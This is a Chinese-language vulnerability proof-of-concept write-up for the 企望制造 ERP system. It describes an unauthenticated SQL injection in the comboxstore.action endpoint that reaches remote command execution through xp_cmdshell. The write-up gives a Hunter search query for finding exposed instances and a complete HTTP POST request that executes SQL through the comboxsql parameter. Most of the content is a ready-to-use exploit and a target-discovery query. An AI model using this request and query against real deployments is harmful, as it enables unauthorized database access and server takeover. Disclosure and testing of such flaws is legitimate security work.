Q2-1企望制造-ERP-SQL

漏洞描述：

企望制造eERP系统由深知纸箱行业特点和业务流程的多位IT专家打造，具有国际先进的管理方式，将现代化的管理方式融入erp软件中，让企业分分钟就拥有科学的管理经验。 erp的功能包括成本核算、报价定价、订单下达、生产下单、现场管理等多种功能。由于企望制造 ERP comboxstore.action接口权限设置不当，默认的配置可执行任意SQL语句，利用xp_cmdshell函数可远程执行命令，未经认证的攻击者可通过该漏洞获取服务器权限。

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name="企望制造ERP"

漏洞复现：

访问poc出现如下页面表示存在漏洞
payload：

```
http://xx.xx.xx.xx/mainFunctions/comboxstore.action
```

效果图:

1. 执行SQL语句获取数据库版本

```
POST /mainFunctions/comboxstore.action HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=7256C68B9C89F11BE2F841C3F1CAA415
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

comboxsql=select%20@@version;
```